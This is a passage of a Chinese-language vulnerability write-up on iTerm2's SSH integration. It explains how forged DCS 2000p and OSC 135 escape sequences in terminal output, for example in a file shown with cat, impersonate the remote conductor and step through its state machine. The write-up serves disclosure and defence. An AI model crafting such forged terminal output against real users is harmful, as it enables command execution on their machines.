0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这乍看起来难以置信——直到你了解 iTerm2 为某项合法功能的设计逻辑、它如何使用 PTY，以及当终端输出能够伪装成该功能协议的一端时会发生什么。</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left-width: 4px;border-left-style: solid;border-left-color: rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><span leaf="">特此鸣谢 OpenAI 与我们共同参与本项目。</span></p></blockquote><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">背景：iTerm2 的 SSH 集成</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">iTerm2 具备 SSH 集成功能，可对远程会话建立更丰富的理解。实现这一功能时，iTerm2 会在远端引导启动一个名为 conductor 的小型辅助脚本，对远程 shell 的操作远超向其&#34;盲目键入命令&#34;的层面。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">运作模式大致如下：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">iTerm2 启动 SSH 集成，通常通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">it2ssh</span></code><span leaf="">完成。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">iTerm2 通过现有 SSH 会话将远程引导脚本 (conductor) 传送至远程端。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">该远程脚本成为 iTerm2 的协议通信方。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">iTerm2 与远程 conductor 交换终端转义序列，协调以下操作：</span></p></li><ul style="margin: 0px;padding-left: 30px;" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">探测登录 shell</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">检测 Python</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">切换目录</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">上传文件</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">执行命令</span></p></li></ul></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">关键在于：整个机制不依赖任何独立的网络服务。conductor 仅是运行于远程 shell 会话内的脚本，协议通过普通的终端 I/O 传输。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">PTY 基础回顾</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">终端最初是真实的硬件设备：一块键盘和屏幕连接到主机，程序从该设备读取输入、向其写入输出。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">iTerm2 这类终端模拟器，是上述硬件终端的现代软件形态。它负责渲染屏幕、接收键盘输入，并解析终端控制序列。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">然而，shell 及其他命令行程序仍期望与一个看起来像真实终端设备的对象通信。为此，操作系统提供了 PTY (pseudoterminal，伪终端)。PTY 是旧硬件终端的软件替代，位于终端模拟器与前台进程之间。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在一次标准 SSH 会话中：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">iTerm2 将字节写入 PTY</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">前台进程是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ssh</span></code></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ssh</span></code><p><span leaf="">将这些字节转发至远端主机</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">远端 conductor 从其 stdin 读取这些字节</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">因此，当 iTerm2 需要&#34;向远端 conductor 发送命令&#34;时，其本地实际执行的操作是将字节写入 PTY。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">conductor 协议</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">SSH 集成协议以终端转义序列作为传输载体。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">以下两点是关键：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">DCS 2000p</span></code><p><span leaf="">用于挂接 SSH conductor</span></p></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">OSC 135</span></code><p><span leaf="">用于传递帧封装前的 conductor 消息</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在源码层面，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">DCS 2000p</span></code><span leaf="">触发 iTerm2 实例化一个 conductor 解析器。该解析器随后接受如下 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">OSC 135</span></code><span leaf="">消息：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">begin &lt;id&gt;</span></code></li><li style="margin: 15px 0px;"><p><span leaf="">命令输出行</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">end &lt;id&gt; &lt;status&gt; r</span></code></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">unhook</span></code></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">因此，合法的远端 conductor 可完全通过终端输出与 iTerm2 通信。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">核心漏洞</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该漏洞本质上是一个信任失效问题。iTerm2 会接受来自终端输出的 SSH conductor 协议，即使该输出并非来自真实可信的 conductor 会话。换言之，不可信的终端输出可以冒充远程 conductor。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这意味着恶意文件、服务器响应、banner 或 MOTD 均可输出：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">伪造的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">DCS 2000p</span></code><span leaf="">钩子</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">伪造的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">OSC 135</span></code><span leaf="">回复</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">而 iTerm2 便会按真实 SSH 集成交换的流程运作。这便是该漏洞的利用原语。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">漏洞利用的实际原理</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该漏洞利用文件包含一段伪造的 conductor 会话记录。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当受害者执行：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">cat readme.txt</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">iTerm2 会渲染该文件，但文件内容并非纯文本。它包含：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">一行伪造的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">DCS 2000p</span></code><span leaf="">指令，用于声明一个 conductor 会话</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">伪造的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">OSC 135</span></code><span leaf="">消息，用于响应 iTerm2 的请求</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一旦钩子被接受，iTerm2 便启动其正常的 conductor 工作流程。在上游源码中，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Conductor.start()</span></code><span leaf="">会立即发送 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">getshell()</span></code><span leaf="">，成功后再发送 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pythonversion()</span></code><span leaf="">。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">因此，漏洞利用无需主动注入上述请求——iTerm2 自身会发出这些请求，恶意输出只需伪装成相应的回复即可。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">遍历状态机</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">伪造的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">OSC 135</span></code><span leaf="">消息内容极简，但精确到位。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">它们的作用如下：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">getshell</span></code><span leaf="">启动命令体</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">返回形似 shell 探测输出的行</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">以成功状态结束该命令</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pythonversion</span></code><span leaf="">启动命令体</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">以失败状态结束该命令</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">解除挂钩</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 